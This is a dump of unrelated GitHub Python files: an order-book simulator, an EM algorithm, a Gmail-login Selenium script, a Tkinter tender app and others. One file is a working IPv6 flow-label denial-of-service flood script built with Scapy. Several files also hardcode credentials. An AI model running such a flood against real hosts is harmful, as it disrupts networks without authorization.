self.asks:\n\t\t\tret += order[\"qty\"]\n\t\treturn ret\n\n\n\tdef fok_can_buy(self, price, qty):\n\t\tavail = 0\n\t\tfor standing in self.asks:\n\t\t\tif standing[\"price\"] <= price:\n\t\t\t\tavail += standing[\"qty\"]\n\t\t\t\tif avail >= qty:\n\t\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tbreak\t\t\t\t# Taking advantage of list sortedness\n\n\t\tif avail >= qty:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\n\tdef fok_can_sell(self, price, qty):\n\t\tavail = 0\n\t\tfor standing in self.bids:\n\t\t\tif standing[\"price\"] >= price:\n\t\t\t\tavail += standing[\"qty\"]\n\t\t\t\tif avail >= qty:\n\t\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tbreak\t\t\t\t# Taking advantage of list sortedness\n\n\t\tif avail >= qty:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\t\n\t\n\tdef cancel_order(self, id):\n\t\torder = self.id_lookup_table[int(id)]\n\t\tif order[\"open\"]:\n\t\t\torder[\"qty\"] = 0\n\t\t\torder[\"open\"] = False\n\t\t\tself.cleanup_closed_orders()\n\t\treturn order\n\t\n\t\n\tdef parse_order(self, info):\n\n\t\t# Thanks to cite-reader for this:\n\t\t# Match behavior of real Stockfighter: recognize both `symbol` and `stock`.\n\t\tif \"stock\" in info:\n\t\t\tinfo[\"symbol\"] = info[\"stock\"]\n\n\t\tassert(info[\"venue\"] == self.venue)\n\t\tassert(info[\"symbol\"] == self.symbol)\n\t\tassert(info[\"direction\"] in [\"buy\", \"sell\"])\n\t\tassert(info[\"qty\"] > 0)\n\t\tassert(info[\"price\"] >= 0)\n\t\tassert(info[\"orderType\"] in [\"limit\", \"market\", \"fill-or-kill\", \"immediate-or-cancel\"])\n\t\tassert(info[\"account\"])\n\t\t\n\t\torder = Order(\n\t\t\t\tok\t\t\t= True,\n\t\t\t\tvenue\t\t= self.venue,\n\t\t\t\tsymbol\t\t= self.symbol,\n\t\t\t\tdirection\t= info[\"direction\"],\n\t\t\t\toriginalQty\t= info[\"qty\"],\n\t\t\t\tqty\t\t\t= info[\"qty\"],\n\t\t\t\tprice\t\t= info[\"price\"],\n\t\t\t\torderType\t= info[\"orderType\"],\n\t\t\t\tid\t\t\t= self.next_id,\n\t\t\t\taccount\t\t= info[\"account\"],\n\t\t\t\tts\t\t\t= current_timestamp(),\n\t\t\t\tfills\t\t= list(),\n\t\t\t\ttotalFilled\t= 0,\n\t\t\t\topen\t\t= True\n\t\t\t\t)\n\t\t\n\t\tself.next_id += 1\n\t\t\n\t\tself.id_lookup_table[order[\"id\"]] = order\t\t\t# So we can find it for status/cancel\n\t\t\n\t\tif order[\"account\"] not in self.account_order_lists:\n\t\t\tself.account_order_lists[order[\"account\"]] = list()\n\t\tself.account_order_lists[order[\"account\"]].append(order)\t\t# So we can list all an account's orders\n\t\t\t\n\t\t# Limit and IOC orders are easy...\n\t\t\n\t\tif order[\"orderType\"] == \"limit\" or order[\"orderType\"] == \"immediate-or-cancel\":\n\t\t\tself.run_order(order)\n\t\t\t\n\t\t# FOK orders are slightly tricky...\n\t\t\n\t\telif order[\"orderType\"] == \"fill-or-kill\":\n\t\t\tif order[\"direction\"] == \"buy\":\n\t\t\t\tif self.fok_can_buy(price = order[\"price\"], qty = order[\"qty\"]):\n\t\t\t\t\tself.run_order(order)\n\t\t\telse:\n\t\t\t\tif self.fok_can_sell(price = order[\"price\"], qty = order[\"qty\"]):\n\t\t\t\t\tself.run_order(order)\n\t\t\n\t\t# Market orders are slightly tricky...\n\t\t\n\t\telif order[\"orderType\"] == \"market\":\n\t\t\tactually_stated_price = order[\"price\"]\n\t\t\t\n\t\t\tif order[\"direction\"] == \"buy\":\n\t\t\t\tif self.asks:\t\t\t\t\t\t\t\t\t# We use the cheap trick of temporarily setting\n\t\t\t\t\torder[\"price\"] = self.asks[-1][\"price\"]\t\t# the order's price to the worst one on the book\n\t\t\telse:\n\t\t\t\tif self.bids:\n\t\t\t\t\torder[\"price\"] = self.bids[-1][\"price\"]\n\t\t\t\n\t\t\tself.run_order(order)\n\t\t\t\n\t\t\torder[\"price\"] = actually_stated_price\n\t\t\n\t\treturn order\n\n\n\tdef run_order(self, order):\n\t\n\t\tincomingprice = order[\"price\"]\n\t\ttimestamp = current_timestamp()\n\t\n\t\tif order[\"direction\"] == \"sell\":\n\t\t\tfor standing in self.bids:\n\t\t\t\tif standing[\"price\"] >= incomingprice:\n\t\t\t\t\tstanding.standing_cross(order, timestamp, self)\n\t\t\t\t\tif order[\"qty\"] == 0:\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tbreak\t\t# Taking advantage of the sortedness of the book's lists\n\t\telse:\n\t\t\tfor standing in self.asks:\n\t\t\t\tif standing[\"price\"] <= incomingprice:\n\t\t\t\t\tstanding.standing_cross(order, timestamp, self)\n\t\t\t\t\tif order[\"qty\"] == 0:\n\t\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tbreak\n\t\t\n\t\tself.cleanup_closed_orders()\n\t\t\n\t\tif order[\"orderType\"] == \"limit\":\t\t# Only limit orders rest on the book\n\t\t\tif order[\"open\"]:\n\t\t\t\tif order[\"direction\"] == \"buy\":\n\t\t\t\t\tbisect.insort(self.bids, order)\n\t\t\t\telse:\n\t\t\t\t\tbisect.insort(self.asks, order)\n\t\t\n\t\treturn order\n","repo_name":"cite-reader/disorderBook","sub_path":"disorderBook_book.py","file_name":"disorderBook_book.py","file_ext":"py","file_size_in_byte":9816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"50"} +{"seq_id":"7933645198","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom django.forms import ModelForm\nfrom models import ModelContact\n\nclass FormContact(ModelForm):\n\t\"\"\"\n\tEs el formulario de contacto :D\n\t\"\"\"\n\tclass Meta():\n\t\tmodel = ModelContact\n\t\t\n\t\tfields = (\n\t\t'name',\n\t\t'phone',\n\t\t'asunto',\n\t\t'message'\n\t\t)\n","repo_name":"andresfcardenas/Form-site","sub_path":"form/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"70689898076","text":"import numpy as np\nfrom scipy.signal import fftconvolve\n\ndef squared_distance_from_gt(X, B, F):\n \"\"\"\n (X - \\mu_{i, j})**2\n\n Parameters\n ----------\n X : array, shape (H, W)\n K images of size H x W.\n F : array, shape (h, w)\n Estimate of villain's face.\n B : array, shape (H, W)\n Estimate of background.\n q : array shape (H-h+1, W-w+1)\n q[dh,dw] - estimate of posterior of displacement (dh,dw)\n of villain's face given image Xk\n \n Returns\n -------\n res : array, shape(H-h+1, W-w+1)\n \"\"\"\n H, W = X.shape\n h, w = F.shape\n assert B.shape == (H, W)\n \n res = fftconvolve(X**2, np.ones_like(F), mode='valid')\n res -= 2 * fftconvolve(X, F[::-1, ::-1], mode='valid')\n res += np.sum(F**2)\n\n res += np.sum((X - B)**2)\n res -= fftconvolve((X - B) ** 2, np.ones_like(F), mode='valid')\n return res\n\ndef calculate_log_probability(X, F, B, s):\n \"\"\"\n Calculates log p(X_k|d_k,F,B,s) for all images X_k in X and\n all possible displacements d_k.\n\n Parameters\n ----------\n X : array, shape (H, W, K)\n K images of size H x W.\n F : array, shape (h, w)\n Estimate of villain's face.\n B : array, shape (H, W)\n Estimate of background.\n s : float\n Estimate of standard deviation of Gaussian noise.\n\n Returns\n -------\n ll : array, shape(H-h+1, W-w+1, K)\n ll[dh,dw,k] - log-likelihood of observing image X_k given\n that the villain's face F is located at displacement (dh, dw)\n \"\"\"\n H, W, K = X.shape\n h, w = F.shape\n \n ll = np.zeros((H-h+1, W-w+1, K), dtype=np.float64)\n for k in range(K):\n ll[:, :, k] = -squared_distance_from_gt(X[:, :, k], B, F) / (2 * s**2)\n ll[:, :, k] -= W * H * np.log(2 * np.pi * s**2) / 2\n\n return ll\n\n\ndef calculate_lower_bound(X, F, B, s, A, q, use_MAP=False):\n \"\"\"\n Calculates the lower bound L(q,F,B,s,A) for the marginal log likelihood.\n\n Parameters\n ----------\n X : array, shape (H, W, K)\n K images of size H x W.\n F : array, shape (h, w)\n Estimate of villain's face.\n B : array, shape (H, W)\n Estimate of background.\n s : float\n Estimate of standard deviation of Gaussian noise.\n A : array, shape (H-h+1, W-w+1)\n Estimate of prior on displacement of face in any image.\n q : array\n If use_MAP = False: shape (H-h+1, W-w+1, K)\n q[dh,dw,k] - estimate of posterior of displacement (dh,dw)\n of villain's face given image Xk\n If use_MAP = True: shape (2, K)\n q[0,k] - MAP estimates of dh for X_k\n q[1,k] - MAP estimates of dw for X_k\n use_MAP : bool, optional\n If true then q is a MAP estimates of displacement (dh,dw) of\n villain's face given image Xk.\n\n Returns\n -------\n L : float\n The lower bound L(q,F,B,s,A) for the marginal log likelihood.\n \"\"\"\n H, W, K = X.shape\n h, w = F.shape\n eps = 1e-64\n \n ll = calculate_log_probability(X, F, B, s)\n L = ll[q[0], q[1], np.arange(K)] if use_MAP else ll * q\n L += np.log(A[q[0], q[1]] + eps) if use_MAP else q * (np.log(A[:, :, np.newaxis] + eps) - np.log(q + eps))\n \n return L.sum()\n\n\ndef run_e_step(X, F, B, s, A, use_MAP=False):\n \"\"\"\n Given the current esitmate of the parameters, for each image Xk\n esitmates the probability p(d_k|X_k,F,B,s,A).\n\n Parameters\n ----------\n X : array, shape(H, W, K)\n K images of size H x W.\n F : array_like, shape(h, w)\n Estimate of villain's face.\n B : array shape(H, W)\n Estimate of background.\n s : scalar, shape(1, 1)\n Eestimate of standard deviation of Gaussian noise.\n A : array, shape(H-h+1, W-w+1)\n Estimate of prior on displacement of face in any image.\n use_MAP : bool, optional,\n If true then q is a MAP estimates of displacement (dh,dw) of\n villain's face given image Xk.\n\n Returns\n -------\n q : array\n If use_MAP = False: shape (H-h+1, W-w+1, K)\n q[dh,dw,k] - estimate of posterior of displacement (dh,dw)\n of villain's face given image Xk\n If use_MAP = True: shape (2, K)\n q[0,k] - MAP estimates of dh for X_k\n q[1,k] - MAP estimates of dw for X_k\n \"\"\"\n \n H, W, K = X.shape\n eps = 1e-64\n\n ll = calculate_log_probability(X, F, B, s)\n ll_A = ll + np.log(A + eps)[:, :, np.newaxis]\n ll_A = ll_A - ll_A.max(axis=(0, 1))[np.newaxis, np.newaxis, :]\n\n q = np.exp(ll_A)\n q = q / (q.sum(axis=(0, 1))[np.newaxis, np.newaxis, :])\n\n if use_MAP:\n new_q = np.zeros((2, K), dtype=int)\n for k in range(K):\n new_q[:,k] = np.unravel_index(np.argmax(q[:, :, k]), A.shape)\n q = new_q\n\n return q\n\n\ndef run_m_step(X, q, h, w, use_MAP=False):\n \"\"\"\n Estimates F,B,s,A given esitmate of posteriors defined by q.\n\n Parameters\n ----------\n X : array, shape(H, W, K)\n K images of size H x W.\n q :\n if use_MAP = False: array, shape (H-h+1, W-w+1, K)\n q[dh,dw,k] - estimate of posterior of displacement (dh,dw)\n of villain's face given image Xk\n if use_MAP = True: array, shape (2, K)\n q[0,k] - MAP estimates of dh for X_k\n q[1,k] - MAP estimates of dw for X_k\n h : int\n Face mask height.\n w : int\n Face mask width.\n use_MAP : bool, optional\n If true then q is a MAP estimates of displacement (dh,dw) of\n villain's face given image Xk.\n\n Returns\n -------\n F : array, shape (h, w)\n Estimate of villain's face.\n B : array, shape (H, W)\n Estimate of background.\n s : float\n Estimate of standard deviation of Gaussian noise.\n A : array, shape (H-h+1, W-w+1)\n Estimate of prior on displacement of face in any image.\n \"\"\"\n H, W, K = X.shape\n F, B, s, A = None, None, None, None\n eps = 1e-64\n q_full = None\n if use_MAP:\n new_q = np.zeros(shape=(H - h + 1, W - w + 1, K))\n for k in range(K):\n new_q[q[0, k]][q[1, k]][k] = 1\n q_full = new_q\n \n # Compute A\n if use_MAP:\n A = q_full.sum(axis=2)\n else:\n A = q.sum(axis=2)\n A /= K\n \n # Compute F\n F = np.zeros((h, w))\n for k in range(K):\n if use_MAP:\n F += X[q[0, k]:q[0, k] + h, q[1, k]:q[1, k] + w, k]\n else:\n F += fftconvolve(X[:, :, k], q[::-1, ::-1, k], mode='valid')\n F /= K\n \n # Compute B\n numirator = np.zeros((H, W))\n denominator = np.zeros((H, W))\n B = np.zeros((H, W))\n \n if use_MAP:\n numirator = np.sum(X, axis=2) - np.sum(X * fftconvolve(q_full, np.ones(shape=(h, w, 1)), mode='full'), axis=2)\n denominator = K - np.sum(fftconvolve(q_full, np.ones(shape=(h, w, 1)), mode='full'), axis=2)\n else:\n numirator = np.sum(X, axis=2) - np.sum(X * fftconvolve(q, np.ones(shape=(h, w, 1)), mode='full'), axis=2)\n denominator = K - np.sum(fftconvolve(q, np.ones(shape=(h, w, 1)), mode='full'), axis=2)\n valid_mask = np.where(denominator > 0)\n B[valid_mask] = numirator[valid_mask] / denominator[valid_mask]\n\n # Compute s2\n numirator = 0\n for k in range(K):\n if use_MAP:\n gt_image = B.copy()\n gt_image[q[0, k] : q[0, k] + h, q[1, k] : q[1, k] + w] = F\n numirator += (X[:, :, k] - gt_image) ** 2\n else:\n numirator += squared_distance_from_gt(X[:, :, k], B, F) * q[:, :, k]\n s = np.sqrt(numirator.sum() / (K * W * H))\n\n return F, B, s, A\n\n# def run_m_step(X, q, h=100, w=75, use_MAP=False):\n# H = X.shape[0]\n# W = X.shape[1]\n# K = X.shape[2]\n\n# if use_MAP:\n# new_q = np.zeros(shape=(H - h + 1, W - w + 1, K))\n# for k in range(K):\n# new_q[q[0, k]][q[1, k]][k] = 1\n# q = new_q\n# A = np.sum(q, axis=2) / K\n\n# F = np.squeeze(fftconvolve(X, q[::-1, ::-1, ::-1],\n# mode='valid')) / K\n\n# B_numerator = np.sum(X, axis=2) - \\\n# np.sum(X * fftconvolve(q, np.ones(shape=(h, w, 1)),\n# mode='full'), axis=2)\n# B_denominator = K - \\\n# np.sum(fftconvolve(q, np.ones(shape=(h, w, 1)),\n# mode='full'), axis=2) # + 1e-8\n# B = B_numerator / (B_denominator + 1e-64)\n# repeated_B = B[:, :, np.newaxis]\n# repeated_F = F[:, :, np.newaxis]\n# s = 0\n# background = (X - repeated_B) ** 2\n# background_sum = np.sum(background, axis=(0, 1))\n# ll = np.zeros(shape=(H - h + 1, W - w + 1, K))\n# for d_h in range(H-h+1):\n# for d_w in range(W-w+1):\n# x_nu = background_sum.copy()\n# x_nu -= np.sum(background[d_h:d_h+h, d_w:d_w+w, :], axis=(0, 1))\n# x_nu += np.sum((X[d_h:d_h+h, d_w:d_w+w, :] -\n# repeated_F) ** 2, axis=(0, 1))\n# ll[d_h, d_w, :] = q[d_h, d_w, :] * x_nu\n# s = np.sqrt(np.sum(ll) / (H * W * K))\n# return F, B, s, A\n\ndef run_EM(X, h, w, F=None, B=None, s=None, A=None, tolerance=0.001,\n max_iter=50, use_MAP=False):\n \"\"\"\n Runs EM loop until the likelihood of observing X given current\n estimate of parameters is idempotent as defined by a fixed\n tolerance.\n\n Parameters\n ----------\n X : array, shape (H, W, K)\n K images of size H x W.\n h : int\n Face mask height.\n w : int\n Face mask width.\n F : array, shape (h, w), optional\n Initial estimate of villain's face.\n B : array, shape (H, W), optional\n Initial estimate of background.\n s : float, optional\n Initial estimate of standard deviation of Gaussian noise.\n A : array, shape (H-h+1, W-w+1), optional\n Initial estimate of prior on displacement of face in any image.\n tolerance : float, optional\n Parameter for stopping criterion.\n max_iter : int, optional\n Maximum number of iterations.\n use_MAP : bool, optional\n If true then after E-step we take only MAP estimates of displacement\n (dh,dw) of villain's face given image Xk.\n\n Returns\n -------\n F, B, s, A : trained parameters.\n LL : array, shape(number_of_iters,)\n L(q,F,B,s,A) after each EM iteration (1 iteration = 1 e-step + 1 m-step); \n number_of_iters is actual number of iterations that was done.\n \"\"\"\n \n H, W, K = X.shape\n\n F = np.random.rand(h, w) if F is None else F\n B = np.random.rand(H, W) if B is None else B\n A = np.ones((H-h+1, W-w+1)) / ((H-h+w) * (W-w+1)) if A is None else A\n s = np.random.random_sample() if s is None else s\n\n LL = [np.inf, ]\n for i in range(max_iter):\n q = run_e_step(X, F, B, s, A, use_MAP)\n F, B, s, A = run_m_step(X, q, h, w, use_MAP)\n \n L = calculate_lower_bound(X, F, B, s, A, q, use_MAP)\n LL.append(L)\n if (LL[-1] - LL[-2] < tolerance):\n break\n\n return F, B, s, A, np.array(LL[1:])\n\n\ndef run_EM_with_restarts(X, h, w, tolerance=0.001, max_iter=50, use_MAP=False,\n n_restarts=10):\n \"\"\"\n Restarts EM several times from different random initializations\n and stores the best estimate of the parameters as measured by\n the L(q,F,B,s,A).\n\n Parameters\n ----------\n X : array, shape (H, W, K)\n K images of size H x W.\n h : int\n Face mask height.\n w : int\n Face mask width.\n tolerance, max_iter, use_MAP : optional parameters for EM.\n n_restarts : int\n Number of EM runs.\n\n Returns\n -------\n F : array, shape (h, w)\n The best estimate of villain's face.\n B : array, shape (H, W)\n The best estimate of background.\n s : float\n The best estimate of standard deviation of Gaussian noise.\n A : array, shape (H-h+1, W-w+1)\n The best estimate of prior on displacement of face in any image.\n L : float\n The best L(q,F,B,s,A).\n \"\"\"\n F_best, B_best, s_best, A_best, LL = run_EM(\n X=X, h=h, w=w,\n tolerance=tolerance,\n max_iter=max_iter,\n use_MAP=use_MAP\n )\n L_best = LL[-1]\n\n for _ in range(n_restarts - 1):\n F, B, s, A, LL = run_EM(\n X=X, h=h, w=w,\n tolerance=tolerance,\n max_iter=max_iter,\n use_MAP=use_MAP\n )\n L = LL[-1]\n \n if L > L_best:\n F_best, B_best, s_best, A_best, L_best = F, B, s, A, L\n\n return F_best, B_best, s_best, A_best, L_best\n","repo_name":"alex-kozinov/courses","sub_path":"baiesovskie-metody/practics/em_for_detective/Student.py","file_name":"Student.py","file_ext":"py","file_size_in_byte":12523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"9130487948","text":"import os\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.common.keys import Keys\nimport time\nfrom selenium.webdriver.common.by import By\n\n\noptions = Options()\noptions.add_argument(\"--start-maximized\")\noptions.add_argument(\"--disable-extensions\")\n\n# Establece la variable de entorno PATH con la ubicación del directorio que contiene geckodriver.exe\ndriver_path = r'C:\\driver\\geckodriver.exe'\nos.environ[\"PATH\"] += os.pathsep + driver_path\n\n# Crea una instancia del controlador de Firefox utilizando las opciones\ndriver = webdriver.Firefox(options=options)\ndriver.get('http://gmail.com')\n\n\nusario = driver.find_element(By.ID, \"identifierId\")\nusario.send_keys('alexanderkevindiaz05@gmail.com')\nusario.send_keys(Keys.ENTER)\ntime.sleep(3)\n\nclave = driver.find_element(By.NAME, 'Passwd')\nclave.send_keys('12345')\nclave.send_keys(Keys.ENTER)\ntime.sleep(3)","repo_name":"kevinD05/selenium","sub_path":"ingresar datos/ingresar_datos.py","file_name":"ingresar_datos.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"70947791195","text":"from word2number import w2n\ntext = 'my one credit card number is nine six zero one five three nine nine six one zero six six seven eight two zero one two three four five three two one four eight nine zero thirty four five'\n\nl_str = text.split(' ')\n\nfor i in range(len(l_str)):\n print(i)\n #is_cc(index=i,data=l_str[i:i+15])\n for every_part in l_str[i:i+15]:\n try:\n result=w2n.word_to_num(every_part)\n if w2n.word_to_num(every_part) in (0,1,2,3,4,5,6,7,8,9,0,10,20,30,40,50,60,70,80,90,100,1000,10000,100000):\n print('found')\n l_str[l_str.index(every_part)]=str(result)\n except Exception as e:\n print(e)\n continue\n\nprint(' '.join(l_str))\n\n","repo_name":"harry1180/dynamic-text-redaction","sub_path":"num.py","file_name":"num.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"10625070784","text":"import binascii\nfrom scapy.all import *\nfrom scapy.layers.inet import UDP\nfrom scapy.layers.inet6 import IPv6\n\nnumber_packets = 1000\ndestination = \"fe80::a00:27ff:fe4c:1052\"\nsource = \"fe80::a00:27ff:fe3b:c7d\"\ns_port = 1055\nd_port = 53\n\n\ndef flow_label_DOS():\n print (\"Flow Label DoS attack\")\n l3 = None\n l3 = IPv6(src=source, dst=destination, fl=RandNum(1, 1048575))\n l4 = UDP()\n payload = Raw(load=RandString(100))\n packets = l3/l4/payload\n packets.show()\n send(packets, count=int(number_packets))\n\n\nflow_label_DOS()\n","repo_name":"n3m351d4/IPv6-Attacks-and-Covert-Channels","sub_path":"flow_label_DoS_attack.py","file_name":"flow_label_DoS_attack.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"50"} +{"seq_id":"7175213036","text":"import sys\n\nfrom src.classes import Problem, Result\nfrom src.rules import RULES\n\n\ndef main():\n experiment = sys.argv[1]\n instance = sys.argv[2]\n\n data_loc = f\"experiments/{experiment}/{instance}.json\"\n problem = Problem.from_file(data_loc)\n\n valid = True\n\n for method in [\"ilp\", \"heuristic\"]:\n path = f\"experiments/{experiment}/{instance}-{method}.json\"\n\n try:\n result = Result.from_file(path)\n except FileNotFoundError:\n print(f\"{path}: solution file does not exist.\")\n else:\n for rule in RULES:\n if not rule(problem, result.assignments):\n valid = False\n print(f\"{path}: solution violates {rule.__name__}.\")\n\n exit(0 if valid else 1)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"N-Wouda/PL-Hourly-Heuristic","sub_path":"src/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"50"} +{"seq_id":"773717891","text":"#!usr/bin/python\r\ntry:\r\n import pymysql\r\n pymysql.install_as_MySQLdb()\r\nexcept ImportError:\r\n pass\r\n\r\nfrom peewee import MySQLDatabase, Model, CharField, AutoField, IntegerField, DateField,\\\r\n DoubleField\r\nfrom tkinter import *\r\nfrom tkinter import ttk, LEFT, RIGHT\r\nfrom tkinter import messagebox\r\nimport numpy as np\r\nfrom table import Table\r\nfrom form import TenderForm\r\n\r\nfrom collections import namedtuple\r\n\r\nhost = 'localhost'\r\nusername = 'root'\r\npassword = 'jovanovic92'\r\ndatabase = 'tenderdb'\r\n\r\nselect_query = 'SELECT * FROM tender'\r\n\r\ncon = pymysql.connect(host, username, password, database)\r\ncur = con.cursor()\r\ncur.execute(select_query)\r\nrows = cur.fetchall()\r\n\r\ndb = MySQLDatabase(database, user=username, passwd=password, host=host)\r\n\r\nclass BaseModel(Model):\r\n class Meta:\r\n database = db\r\n\r\nclass Tender(BaseModel):\r\n idtender = AutoField()\r\n naziv = CharField()\r\n tip = CharField()\r\n aktivan = CharField()\r\n datum = DateField(formats=['%d.%m.%Y'])\r\n proc_vred = DoubleField()\r\n nasa_vred = DoubleField()\r\n narucilac = CharField()\r\n odluka = CharField()\r\n status = CharField()\r\n napomena = CharField()\r\n\r\n @staticmethod\r\n def insert_tender(form):\r\n fields = form.get_data()\r\n if fields is None:\r\n return\r\n\r\n msg_title = 'Poruka'\r\n try:\r\n Tender.create(naziv = fields['naziv'], \r\n tip = fields['tip'], \r\n aktivan = fields['aktivan'], \r\n proc_vred = fields['proc_vred'],\r\n nasa_vred = fields['nasa_vred'], \r\n narucilac = fields['narucilac'], \r\n odluka = fields['odluka'], \r\n status = fields['status'],\r\n napomena = fields['napomena'], \r\n datum = fields['datum'])\r\n\r\n except:\r\n messagebox.showinfo(msg_title, 'Nije unet tender: %s! Doslo je do greske' % fields['naziv'])\r\n return\r\n\r\n messagebox.showinfo(msg_title, 'Uspesno unet tender: %s' % fields['naziv'])\r\n form.reset_data()\r\n table.show(Tender._meta.fields, Tender.select())\r\n\r\n def __str__(self):\r\n return '{};{};{};{};{};{};{};{};{};{};{}'.format(\r\n self.idtender, self.naziv, self.tip, self.aktivan, self.datum,\r\n self.proc_vred, self.nasa_vred, self.narucilac, self.odluka,\r\n self.status, self.napomena)\r\n\r\ndb.connect()\r\ndb.create_tables([Tender])\r\nroot = Tk()\r\nroot.title('Tender')\r\nroot.geometry('1000x1000')\r\n#root.attributes(\"-fullscreen\", True) \r\n#root.maxsize(1000, 1000)\r\n\r\n# in root\r\ncontent = ttk.Frame(root, padding=(3,3,12,12), width = 1000, height = 1000)\r\n# in content\r\ntable = Table(content)\r\ninsert_frame = ttk.Frame(content, borderwidth = 5) #,width = 100, height = 300)\r\n# in insert\r\nbutton_frame = ttk.Frame(insert_frame, borderwidth = 2) #, width = 100, height = 200)\r\nform_frame = ttk.Frame(insert_frame, borderwidth = 2)\r\n\r\n# Position in root\r\ncontent.pack()\r\n\r\n# Position in content\r\ntable.pack(side = LEFT)\r\ninsert_frame.pack()\r\nbutton_frame.pack()\r\nform_frame.pack()\r\n\r\nform = TenderForm(insert_frame)\r\n\r\nall_records = Tender.select()\r\ntable.show(Tender._meta.fields, all_records)\r\n\r\ninsert_button = ttk.Button(button_frame, text = 'Ubaci', command = lambda: Tender.insert_tender(form))\r\nreset_button = ttk.Button(button_frame, text = 'Reset', command = form.reset_data)\r\n\r\ninsert_button.pack(side=LEFT)\r\nreset_button.pack(side = LEFT)\r\n\r\n\r\nmainloop()\r\n","repo_name":"mi15405/tender","sub_path":"tender.py","file_name":"tender.py","file_ext":"py","file_size_in_byte":3608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"4378933822","text":"import pandas as pd\nimport numpy as np\nimport pickle\n\ndata = pd.read_csv('NEW_combined_auctions_cleaned.csv')\n\n\ndef unique_lots(df):\n return list( (df['ID_lot']).unique())\n\ndef lot_df(lot,df):\n df = df[df[\"ID_lot\"]==lot]\n return df\n\ndef get_estimates(lot):\n # We take the mode, in case some erros occur in certain rows/the first row.\n lows = list(lot['low_estimate'])\n highs = list(lot['high_estimate'])\n low = max(set(lows), key=lows.count)\n high = max(set(highs), key=highs.count)\n return low, high\n\ndef buyers_premium(bid, loc, auction_house):\n def adjust_bid(bid, t1, t2, r1,r2,r3):\n # t1 < middle threshold <= t2 \n # r1, r2, r3 are the rates for the three thresholds\n if bid <= t1:\n return bid*(1+r1)\n elif bid>t1 and bid <=t2:\n return t1*(1+r1) + (bid-t1)*(1+r2)\n elif bid>t2:\n return t1*(1+r1) + (t2-t1)*(1+r2) + (bid-t2)*(1+r3)\n \n if auction_house == 'christies':\n if loc == 'hong kong':\n return adjust_bid(bid, 7500000, 50000000, 0.26, 0.20, 0.145)\n elif loc == 'london':\n return adjust_bid(bid, 700000, 4500000, 0.26, 0.20, 0.145)\n elif loc == 'paris':\n return adjust_bid(bid, 700000, 4000000, 0.26, 0.20, 0.145)\n elif loc == 'new york':\n return adjust_bid(bid, 1000000, 6000000, 0.26, 0.20, 0.145)\n elif loc == 'shanghai':\n return adjust_bid(bid, 6000000, 40000000, 0.26, 0.20, 0.145)\n elif auction_house == 'sothebys':\n # only sotheby's has Overhead Premium. 1% of the bid, for \"administrative costs\".\n overhead_premium = 0.01 * bid\n if loc == 'hong kong':\n return adjust_bid(bid, 7500000, 40000000, 0.26, 0.20, 0.139) + overhead_premium\n elif loc == 'london':\n return adjust_bid(bid, 800000, 3800000, 0.26, 0.20, 0.139) + overhead_premium\n elif loc == 'paris':\n return adjust_bid(bid, 800000, 3500000, 0.26, 0.20, 0.139) + overhead_premium\n elif loc == 'new york':\n return adjust_bid(bid, 1000000, 4500000, 0.26, 0.20, 0.139) + overhead_premium\n elif loc == 'las vegas':\n return adjust_bid(bid, 400000, 4000000, 0.25, 0.20, 0.139) + overhead_premium\n elif loc == 'edinburgh':\n return adjust_bid(bid, 800000, 3800000, 0.25, 0.20, 0.139) + overhead_premium\n elif loc == 'monaco':\n return adjust_bid(bid, 800000, 3500000, 0.25, 0.20, 0.139) + overhead_premium\n # failure case\n print(\"ERROR: buyers_premium() failed to find a match for auction_house and loc.\")\n print(loc, auction_house)\n return bid\n\ndef n1n_rel(lot, loc, auction_house): ## 2nd highest bid, relative to high estimate\n _, high = get_estimates(lot)\n secondHighestBid = sorted(list(lot['bid']))[-2]\n adjustedBid = buyers_premium(secondHighestBid, loc, auction_house)\n return adjustedBid/high\n\ndef nn_rel(lot, loc, auction_house): ## highest bid, relative to high estimate\n _, high = get_estimates(lot)\n highestBid = sorted(list(lot['bid']))[-1]\n adjustedBid = buyers_premium(highestBid, loc, auction_house)\n return adjustedBid/high\n\ndef low_rel(lot): ## high estimate, relative to low estimate\n low, high = get_estimates(lot)\n return low/high\n\ndef num_uniq_bids(lot):\n return len(lot['bid'].unique())\n\n\ndef make_output_dicts(data):\n lots = unique_lots(data)\n output_dicts = []\n for lot in lots:\n lot_df_i = lot_df(lot,data)\n auctionID_lot = lot_df_i['ID_lot'].iloc[0]\n n = int(lot_df_i['N'].median())\n\n loc = lot_df_i['loc'].iloc[0]\n auction_house = lot_df_i['auction_house'].iloc[0]\n\n # Make sure not NaN\n transaction_price = nn_rel(lot_df_i, loc, auction_house)\n second_highest = n1n_rel(lot_df_i, loc, auction_house)\n low_rel_high = low_rel(lot_df_i)\n \n if not np.isnan(transaction_price) and not np.isnan(second_highest) and not np.isnan(low_rel_high):\n output_dicts.append({'auctionID_lot':auctionID_lot, \n 'auction_house': auction_house,\n '1':transaction_price, \n '2':second_highest,\n 'n':n,\n 'loc': lot_df_i['loc'].iloc[0],\n 'cat0': lot_df_i['cat0'].iloc[0],\n 'cat1': lot_df_i['cat1'].iloc[0],\n 'low_rel_high': 